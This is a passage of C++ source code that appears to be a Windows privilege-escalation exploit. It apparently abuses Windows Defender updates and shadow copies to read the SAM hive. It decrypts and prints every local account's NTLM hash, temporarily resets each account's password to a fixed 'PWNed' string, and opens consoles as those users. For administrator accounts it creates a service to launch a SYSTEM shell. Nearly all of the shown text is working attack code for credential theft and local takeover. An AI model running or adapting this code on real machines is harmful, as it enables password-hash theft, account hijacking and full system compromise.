		BLOBHEADER hdr;
		DWORD keySize;
		BYTE bytes[8];
	}blob;
	//deskeyBlob* blob = (deskeyBlob*)malloc(sizeof(deskeyBlob) + keysz);
	blob.hdr.bType = PLAINTEXTKEYBLOB;
	blob.hdr.bVersion = CUR_BLOB_VERSION;
	blob.hdr.reserved = 0;
	blob.hdr.aiKeyAlg = CALG_DES;
	blob.keySize = 8;
	memmove(blob.bytes, key, 8);
	HCRYPTKEY hcryptkey = NULL;
	CryptImportKey(hprov, (const BYTE*)&blob, sizeof(deskeyBlob), NULL, NULL, &hcryptkey);

	DWORD mode = CRYPT_MODE_ECB;
	CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);

	DWORD retsz = ciphertextsz;

	CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz);

	if (outsz)
		*outsz = 8;

	//printf("GetLastError : %x\n", GetLastError());
	CryptReleaseContext(hprov, NULL);
	return ciphertext2;

	/*
	DWORD mode = CRYPT_MODE_ECB;
	CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL);
	printf("GetLastError : %x\n", GetLastError());

	DWORD retsz = enclen;

	CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz);
	printf("GetLastError : %x\n", GetLastError());
	*/
	/*
	OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy");
	if (legacy == NULL)
	{
		printf("Failed to load Legacy provider\n");
	}
	
	EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new();

	int fulllen = 0;
	int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL);

	char* plaintext = (char*)malloc(ciphertextsz);
	int _outsz = 0;
	retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz);
	int _outlen = 0;
	retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen);

	if (outsz)
		*outsz = _outsz;

	return plaintext;
	*/
}

char* DeriveDESKey(char data[7])
{


	union keyderv {
		struct {
			char arr[8];
		};
		SIZE_T derv;
	};
	keyderv ttv = { 0 };
	ZeroMemory(ttv.arr, sizeof(ttv.arr));
	memmove(ttv.arr, data, sizeof(data) - 1);
	SIZE_T k = ttv.derv;


	char* key = (char*)malloc(sizeof(data));

	for (int i = 0; i < 8; i++)
	{
		int j = 7 - i;
		int curr = (k >> (7 * j)) & 0x7F;
		int b = curr;
		b ^= b >> 4;
		b ^= b >> 2;
		b ^= b >> 1;
		int keybyte = (curr << 1) ^ (b & 1) ^ 1;
		key[i] = (char)keybyte;
	}
	return key;
}

void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid)
{

	union keydata {
		struct {
			char a;
			char b;
			char c;
			char d;
		};
		ULONG data;
	};

	keydata keycontent = { 0 };
	keycontent.data = rid;
	char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a };
	char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d };

	char* rkey1 = DeriveDESKey(key1);
	char* rkey2 = DeriveDESKey(key2);


	int plaintext1sz = 0;
	int plaintext2sz = 0;
	char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz);
	if (!plaintext1)
		return NULL;
	char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz);
	if (!plaintext2)
		return NULL;
	void* retval = malloc(plaintext1sz + plaintext2sz);

	memmove(retval, plaintext1, plaintext1sz);
	memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz);
	if (outsz)
		*outsz = plaintext1sz + plaintext2sz;
	return retval;
}

void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid)
{
	int _outsz = 0;
	void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz);
	if (!dec)
		return NULL;
	int _hashoutsz = 0;
	void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid);
	if (outsz)
		*outsz = _hashoutsz;
	return _hash;
}

unsigned char* HexToHexString(unsigned char* data, int size)
{
	unsigned char* retval = (unsigned char*)malloc(size * 2 + 1);
	ZeroMemory(retval, size + 1);
	for (int i = 0; i < size; i++)
	{
		sprintf((char*)&retval[i * 2], "%02x", data[i]);
	}

	return retval;
}


char* CalculateNTLMHash(char* _input)
{

	int pw_len = strlen(_input);
	char* input = new char[pw_len * 2];
	for (int i = 0; i < pw_len; i++)
	{
		input[i * 2] = _input[i];
		input[i * 2 + 1] = '\0';
	}

	
	unsigned int md_len = 0;

	HCRYPTPROV hprov = NULL;

	CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);

	HCRYPTHASH Hhash = NULL;
	CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash);

	CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL);

	DWORD inputsz = sizeof(md_len);
	CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
	unsigned char* md_value = (unsigned char*)malloc(md_len);
	inputsz = md_len;
	CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL);

	CryptDestroyHash(Hhash);
	CryptReleaseContext(hprov, NULL);
	/*
	EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
	EVP_DigestInit_ex(mdctx, EVP_md4(), NULL);
	EVP_DigestUpdate(mdctx, input, pw_len * 2);
	EVP_DigestFinal_ex(mdctx, md_value, &md_len);
	EVP_MD_CTX_free(mdctx);
	*/
	/*
	printf("Digest is: ");
	for (int i = 0; i < md_len; i++)
		printf("%02x", md_value[i]);
	printf("\n");
	*/
	return (char*)md_value;

}
bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL)
{

	wchar_t libpath[MAX_PATH] = { 0 };
	ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH);

	HMODULE hm = LoadLibrary(libpath);
	if (!hm)
	{
		printf("Failed to load samlib.dll\n");
		return false;
	}
	NTSTATUS(WINAPI * _SamConnect)
		(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect");
	NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle");
	NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle)
		= (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain");
	NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser");
	NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser");


	if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser)
	{
		printf("Failed to import required functions from samlib.dll\n");
		return false;
	}

	HANDLE hsrv = NULL;
	NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false);
	if (stat)
	{
		printf("Failed to connect to SAM, error : 0x%0.8X\n", stat);
		return false;
	}
	//printf("Connected to local SAM.\n");
	LSA_OBJECT_ATTRIBUTES loa = { 0 };
	LSA_HANDLE hlsa = NULL;
	stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa);
	if (stat)
	{
		printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat);
		return false;
	}
	
	POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0;
	stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo);
	if (stat)
	{
		printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat);
		return false;
	}
	/*wchar_t* stringsid = 0;
	if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid))
	{
		printf("Failed to get string sid, error : %d\n", GetLastError());
		return false;
	}
	printf("Machine SID : %ws\n", stringsid);*/
	LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0;
	LSA_TRANSLATED_SID* lsatrans = 0;
	LSA_UNICODE_STRING lsaunistr = { 0 };
	RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username);
	stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans);
	if (stat)
	{
		printf("LsaLookupNames failed, error : 0x%0.8X\n", stat);
		return false;
	}
	LsaClose(hlsa);
	
	HANDLE hdomain = NULL;
	stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain);
	if (stat)
	{
		printf("SamOpenDomain failed, error : 0x%0.8X\n", stat);
		return false;
	}

	HANDLE huser = NULL;
	stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser);
	if (stat)
	{
		printf("SamOpenUser failed, error : 0x%0.8X\n", stat);
		return false;
	}

	//char password[] = "testp";
	//char* oldNTLM = CalculateNTLMHash((char*)"testp");
	char* oldNTLM = (char*)nthash;
	char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword);

	char oldLm[16] = { 0 };
	char newLm[16] = { 0 };
	stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM);

	if (stat)
	{
		printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat);
		return false;
	}
	_SamCloseHandle(huser);
	_SamCloseHandle(hdomain);
	_SamCloseHandle(hsrv);
	/*
	if (newpassword) {
		printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword);
	}
	else {
		printf("Info : user \"%ws\" password has been changed back to older password\n", username);
	}
	*/
	return true;
}
//////////////////////////////////////////////////////////////////////
// SAM handling end
/////////////////////////////////////////////////////////////////////


//////////////////////////////////////////////////////////////////////
// Exploit shell spawn start
/////////////////////////////////////////////////////////////////////
BOOL SetPrivilege(
	HANDLE hToken,          // access token handle
	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
	BOOL bEnablePrivilege   // to enable or disable privilege
)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;

	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		lpszPrivilege,   // privilege to lookup 
		&luid))        // receives LUID of privilege
	{
		printf("LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		tp.Privileges[0].Attributes = 0;

	// Enable the privilege or disable all privileges.

	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		0,
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("AdjustTokenPrivileges error: %u\n", GetLastError());
		return FALSE;
	}

	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

	{
		printf("The token does not have the specified privilege. \n");
		return FALSE;
	}

	return TRUE;
}


bool DoSpawnShellAsAllUsers(HANDLE samfile)
{
	//SSL_library_init();
	//SSL_load_error_strings();
	char newpassword[] = "$PWNed666!!!WDFAIL";
	wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL";
	char* newNTLM = CalculateNTLMHash(newpassword);
	bool isadmin = false;
	char* retval = 0;
	ORHKEY hSAMhive = NULL;
	ORHKEY hSYSTEMhive = NULL;
	DWORD err = OROpenHiveByHandle(samfile, &hSAMhive);

	bool systemshelllaunched = false;
	if (err)
	{
		printf("OROpenHive failed with error : %d\n", err);
		return false;
	}

	unsigned char lsakey[16] = { 0 };

	if (!GetLSASecretKey(lsakey))
	{
		printf("Failed to dump LSA secret keys.\n");
		return false;
	}


	ORHKEY hkey = NULL;
	err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey);

	DWORD valuesz = 0;
	err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz);
	if (err)
	{
		printf("ORGetValue failed with error : %d\n", err);
		return false;
	}
	char* samkey = (char*)malloc(valuesz);
	err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz);
	if (err)
	{
		printf("ORGetValue failed with error : %d\n", err);
		return false;
	}

	ORCloseKey(hkey);

	///////////////////////////////////////////////////////////
	int passwordEncryptionKeysz = 0;
	char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz);

	err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey);
	if (err)
	{
		printf("OROpenKey failed with error : %d\n", err);
		return false;
	}

	
	DWORD subkeys = NULL;
	err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
	if (err)
	{
		printf("ORQueryInfoKey failed with error : %d\n", err);
		return false;
	}


	PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys);
	int numofentries = 0;
	for (int i = 0; i < subkeys; i++)
	{
		DWORD keynamesz = 0x100;
		wchar_t keyname[0x100] = { 0 };
		err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL);
		if (err)
		{
			printf("OREnumKey failed with error : %d\n", err);
			return false;
		}
		if (_wcsicmp(keyname, L"users") == 0)
			continue;
		ORHKEY hkey2 = NULL;
		err = OROpenKey(hkey, keyname, &hkey2);
		if (err)
		{
			printf("OROpenKey failed with error : %d\n", err);
			return false;
		}
		DWORD valuesz = 0;
		err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz);
		if (err == ERROR_FILE_NOT_FOUND)
			continue;
		if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) {
			printf("ORGetValue failed with error : %d\n", err);
			return false;
		}
		PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc));
		ZeroMemory(SAMpwd, sizeof(PwdEnc));
		SAMpwd->sz = valuesz;
		SAMpwd->buff = (char*)malloc(valuesz);
		ZeroMemory(SAMpwd->buff, valuesz);
		err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz);
		if (err)
		{
			printf("ORGetValue failed with error : %d\n", err);
			return false;
		}
		SAMpwd->rid = wcstoul(keyname, NULL, 16);

		ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET];
		SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
		ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET];
		SAMpwd->usernamesz = *usernamesz;

		ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET];
		SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
		ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET];
		SAMpwd->LMHashLenght = *LMhashsz;

		ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET];
		SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
		ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET];
		SAMpwd->NTHashLenght = *NThashsz;

		pwdenclist[i] = SAMpwd;
		numofentries++;
	}


	wchar_t currentusername[UNLEN + 1] = { 0 };
	DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t);
	if (!GetUserName(currentusername, &usernamesz))
	{
		printf("Failed to get current user name, error : %d", GetLastError());
		return false;
	}


	for (int i = 0; i < numofentries; i++)
	{
		PwdEnc* samentry = pwdenclist[i];
		int realNTLMHashsz = 0;
		char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid);
		char* stringntlm = 0;
		char emptyrepresentation[] = "{NULL}";
		if (realNTLMHashsz)
		{
			stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz);
		}
		else
		{

			stringntlm = emptyrepresentation;
		}
		wchar_t username[UNLEN + 1] = { 0 };
		if (samentry->usernamesz <= sizeof(username))
		{
			memmove(username, samentry->username, samentry->usernamesz);
		}
		printf("******************************************\n");
		printf("    User : %ws\n    RID : %d\n    NTLM : %s\n", username, samentry->rid, stringntlm);
		if (realNTLMHash == NULL || realNTLMHashsz == 0) {
			printf("    Skip : NULL NTLM.\n");
			continue;
		}
		if (_wcsicmp(username, currentusername) == 0)
		{
			printf("    Skip : Current User.\n");
			continue;
		}
		if (_wcsicmp(username, L"WDAGUtilityAccount") == 0)
		{
			printf("    Skip : WDAGUtilityAccount detected.\n");
			continue;
		}
		
			retval = realNTLMHash;

			if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM))
			{
				printf("    NewPasswordSet : OK.\n");

				HANDLE htoken = NULL;
				PSID logonsid = 0;
				if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL))
				{
					printf("LogonUserEx failed, error : %d\n", GetLastError());
				}
				if (!systemshelllaunched) {
					TOKEN_ELEVATION_TYPE tokentype;
					DWORD retsz = 0;
					if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz))
					{
						printf("GetTokenInformation failed with error : %d\n", GetLastError());
					}

					if (tokentype == TokenElevationTypeLimited)
					{
						TOKEN_LINKED_TOKEN linkedtoken = { 0 };


						if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz))
						{
							printf("GetTokenInformation failed with error : %d\n", GetLastError());
						}

						HANDLE hdup = linkedtoken.LinkedToken;

						DWORD sidsz = MAX_SID_SIZE;
						PSID administratorssid = malloc(sidsz);

						if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz))
						{
							printf("Failed to create well known sid, error : %d\n", GetLastError());
						}



						if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin))
						{
							printf("CheckTokenMembership failed with error : %d\n", GetLastError());
						}
						free(administratorssid);

						CloseHandle(hdup);
					}

					if (isadmin)
					{




						printf("    IsAdmin : TRUE\n");
						HANDLE htoken2 = NULL;
						if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL))
						{
							printf("LogonUserEx failed, error : %d\n", GetLastError());
						}
						//SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE);
						const wchar_t sid_string[] = L"S-1-16-8192";
						TOKEN_MANDATORY_LABEL integrity;
						PSID  sid = NULL;
						ConvertStringSidToSidW(sid_string, &sid);
						ZeroMemory(&integrity, sizeof(integrity));
						integrity.Label.Attributes = SE_GROUP_INTEGRITY;
						integrity.Label.Sid = sid;
						if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) {
							wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError());
						}
						LocalFree(sid);
						//CloseHandle(htoken2);

						ImpersonateLoggedOnUser(htoken2);


						SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
						if (!hmgr)
						{
							printf("OpenSCManager failed with error : %d", GetLastError());
						}

						GUID uid = { 0 };
						RPC_WSTR wuid = { 0 };
						wchar_t* wuid2 = 0;

						UuidCreate(&uid);
						UuidToStringW(&uid, &wuid);
						wuid2 = (wchar_t*)wuid;

						wchar_t binpath[MAX_PATH] = { 0 };
						GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH);
						wchar_t servicecmd[MAX_PATH] = { 0 };
						DWORD currentsesid = 0;
						ProcessIdToSessionId(GetCurrentProcessId(), &currentsesid);
						wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid);

						SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL);
						if (!hsvc)
						{
							printf("CreateService Failed with error : %d\n", GetLastError());
						}
						else {
							printf("    SYSTEMShell : OK.\n");
						}

						StartService(hsvc, NULL, NULL);
						Sleep(100);
						DeleteService(hsvc);
						CloseServiceHandle(hsvc);
						CloseServiceHandle(hmgr);
						RevertToSelf();
						CloseHandle(htoken2);
						systemshelllaunched = true;
					}
					else {
						printf("    IsAdmin : FALSE\n");
					}


				}

				STARTUPINFO si = { 0 };
				PROCESS_INFORMATION pi = { 0 };
				if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
				{
					printf("    Shell : Error %d\n", GetLastError());
				}
				else {
					printf("    Shell : OK.\n");
					if (pi.hProcess)
						CloseHandle(pi.hProcess);
					if (pi.hThread)
						CloseHandle(pi.hThread);
				}

				if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash))
				{
					printf("    PasswordRestore : Error %d\n", GetLastError());
				}
				
				else {
					printf("    PasswordRestore : OK.\n");
				}
				CloseHandle(htoken);
			}
			
			// __debugbreak();


		
	}

	ORCloseHive(hSAMhive);
	printf("******************************************\n");
	free(newNTLM);
	return true;



}

bool IsRunningAsLocalSystem()
{

	HANDLE htoken = NULL;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
		printf("OpenProcessToken failed, error : %d\n", GetLastError());
		return false;
	}
	TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
	DWORD retsz = 0;
	bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
	CloseHandle(htoken);
	if (!res)
		return false;

	return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
}

void LaunchConsoleInSessionId(DWORD sessionid)
{
	HANDLE htoken = NULL;
	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
		return;
	
	SetPrivilege(htoken, SE_TCB_NAME, TRUE);
	SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
	SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE);
	SetPrivilege(htoken, SE_DEBUG_NAME, TRUE);

	HANDLE hnewtoken = NULL;
	bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
	CloseHandle(htoken);
	if (!res)
		return;
	
	res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
	if (!res)
	{
		CloseHandle(hnewtoken);
		return;
	}

	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

	CloseHandle(hnewtoken);

	if (pi.hProcess)
		CloseHandle(pi.hProcess);
	if (pi.hThread)
		CloseHandle(pi.hThread);
	return;

}


//////////////////////////////////////////////////////////////////////
// Exploit shell spawn end
/////////////////////////////////////////////////////////////////////

int wmain(int argc, wchar_t* argv[])
{

	
	if (IsRunningAsLocalSystem())
	{
		printf("Running as local system.\n");
		if (argc == 2)
		{
			DWORD sessionid = _wtoi(argv[1]);
			if (sessionid) {
				printf("Session id : %d\n", sessionid);
				LaunchConsoleInSessionId(sessionid);
			}
		}
		return 0;
	}

	DWORD _sesid = 0;
	ProcessIdToSessionId(GetCurrentProcessId(), &_sesid);
	const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"}
	/*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/
	};
	wchar_t fullvsspath[MAX_PATH] = { 0 };
	HANDLE hreleaseready = NULL;
	wchar_t updtitle[0x200] = { 0 };
	wchar_t targetfile[MAX_PATH] = { 0 };
	wchar_t nttargetfile[MAX_PATH] = { 0 };
	HANDLE htransaction = NULL;
	wchar_t* filestodel[100] = { 0 };
	HINTERNET hint = NULL;
	HINTERNET hint2 = NULL;
	char data[0x1000] = { 0 };
	DWORD index = 0;
	DWORD sz = sizeof(data);
	bool res2 = 0;
	wchar_t filesz[50] = { 0 };
	LARGE_INTEGER li = { 0 };
	GUID uid = { 0 };
	RPC_WSTR wuid = { 0 };
	wchar_t* wuid2 = 0;
	wchar_t envstr[MAX_PATH] = { 0 };
	wchar_t mpampath[MAX_PATH] = { 0 };
	HANDLE hmpap = NULL;
	void* exebuff = NULL;
	DWORD readsz = 0;
	HANDLE hmapping = NULL;
	void* mappedbuff = NULL;
	HRSRC hres = NULL;
	DWORD ressz = NULL;
	HGLOBAL cabbuff = NULL;
	wchar_t cabpath[MAX_PATH] = { 0 };
	wchar_t updatepath[MAX_PATH] = { 0 };
	HANDLE hcab = NULL;
	ERF erfstruct = { 0 };
	HFDI hcabctx = NULL;
	char _updatepath[MAX_PATH] = { 0 };
	bool extractres = false;
	char buff[0x1000] = { 0 };
	DWORD retbytes = 0;
	DWORD tid = 0;
	HANDLE hthread = NULL;
	WDRPCWorkerThreadArgs threadargs = { 0 };
	HANDLE hcurrentthread = NULL;
	HANDLE hdir = NULL;
	wchar_t newdefupdatedirname[MAX_PATH] = { 0 };
	wchar_t updatelibpath[MAX_PATH] = { 0 };
	UNICODE_STRING unistrupdatelibpath = { 0 };
	OBJECT_ATTRIBUTES objattr = { 0 };
	IO_STATUS_BLOCK iostat = { 0 };
	HANDLE hupdatefile = NULL;
	UNICODE_STRING objlinkname = { 0 };
	UNICODE_STRING objlinktarget = { 0 };
	NTSTATUS ntstat = 0;
	OVERLAPPED ovd = { 0 };
	DWORD transfersz = 0;
	wchar_t newname[MAX_PATH] = { 0 };
	DWORD renstructsz = 0;

	size_t targetsz = 0;
	size_t printnamesz = 0;
	size_t pathbuffersz = 0;
	size_t totalsz = 0;
	REPARSE_DATA_BUFFER* rdb = 0;
	DWORD cb = 0;
	OVERLAPPED ov = { 0 };
	bool ret = false;
	DWORD retsz = 0;
	HANDLE hleakedfile = NULL;
	HANDLE hobjlink = NULL;
	LARGE_INTEGER _filesz = { 0 };
	OVERLAPPED ovd2 = { 0 };
	DWORD __readsz = 0;
	void* leakedfilebuff = 0;
	bool filelocked = false;
	bool needcabcleanup = false;
	bool dirmoved = false;
	bool needupdatedircleanup = false;
	UpdateFiles* UpdateFilesList = NULL;
	UpdateFiles* UpdateFilesListCurrent = NULL;
	bool isvssready = false;
	bool criterr = false;
	HANDLE hobjworkdir = NULL;
	HANDLE hsymlink = NULL;
	wchar_t objdirpath[MAX_PATH] = { 0 };
	try {
		
		printf("Checking for windows defender signature updates...\n");
		while (!CheckForWDUpdates(updtitle, &criterr)){

			if (criterr)
				goto cleanup;
			printf("No updates found for windows defender. Recheking in 30 seconds...\n");
			Sleep(30000);

		}
		printf("Found Update : \n%ws\n", updtitle);

		UpdateFilesList = GetUpdateFiles();
		if (!UpdateFilesList)
		{
			goto cleanup;
		}
		printf("Updates downloaded.\n");


		printf("Creating VSS copy...\n");
		hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL);
		if (!hreleaseready)
		{
			printf("Failed to create event error : %d\n", GetLastError());
			goto cleanup;
		}
			

		isvssready = TriggerWDForVS(hreleaseready, fullvsspath);
		if (!isvssready)
			goto cleanup;
			
		for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++)
		{
			ZeroMemory(objdirpath, sizeof(objdirpath));
			UpdateFilesListCurrent = UpdateFilesList;
			UuidCreate(&uid);
